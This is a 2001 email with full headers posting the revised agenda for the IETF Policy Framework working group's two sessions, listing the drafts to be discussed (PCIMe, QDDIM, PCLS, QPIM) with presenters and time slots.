; Tue, 31 Jul 2001 13:35:52 -0400 Received: from longsys.com (dmz.longsys.com [63.111.150.5]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id NAA15748 for ; Tue, 31 Jul 2001 13:30:06 -0400 Received: from joel (discordian.longsys.com [63.111.150.74]) by longsys.com (8.10.0/8.10.0) with ESMTP id f6VHYnA15838; Tue, 31 Jul 2001 17:34:49 GMT Message-Id: <4.2.2.20010731132110.00d16840@localhost> X-Sender: joel@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 31 Jul 2001 13:34:09 -0400 To: agenda@ietf.org From: "Joel M. Halpern" Subject: Policy Framework Agenda - Revised Cc: policy@raleigh.ibm.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Joel M. Halpern" Policy Framework WG (policy) -- Revised Monday, August 06 at 1300-1500 Thursday, August 09 at 1530-1730 ================================== CHAIRS: Joel Halpern Ed Ellesson Preliminary AGENDA: Session 1: 1) Agenda Bash -- Ed Ellesson, 10 min 2) Status Review -- Joel Halpern, 10 Min 3) Policy Core Information Model Extensions (PCIMe) -- draft-ietf-policy-pcim-ext-02.txt, 70 minutes Bob Moore - Issues related to IPHeaderFilter - The "Do Until Failure" ExecutionStrategy - Questions related to PolicyExplicitVariables - Issues related to compounding PolicyConditions - Evaluation and execution order - Criticality of extended conditions and actions - Criteria for compliance to PCIMe 4) Information Model for Describing Network Device QoS Mechanisms (QDDIM) -- ftp://ftp.networking.ibm.com/pub/standards/aiw/misc/draft-ietf-policy-qos-de vice-info-model-05.txt Bob Moore, John Strassner, Walter Weiss, 30 minutes Session 2: 1) Policy Core LDAP Schema (PCLS) -- draft-ietf-policy-core-schema-11.txt John Strassner, 1 hour - review the resolution of comments from AD requested review - discuss issues (if any) raised by IESG prior to IETF last call 2) Policy Framework QoS Information Model (QPIM) -- ftp://199.203.55.57/draft-ietf-policy-qos-info-model-0411.txt Yoram Ramberg, Yoram Snir, Ron Cohen, John Strassner 50 minutes 3) Summary -- Ed Ellesson, 10 min The chairs recognize that two of these four documents are not available from the internet drafts directory, and aplogize for the problems that caused this and the difficulties it causes participants.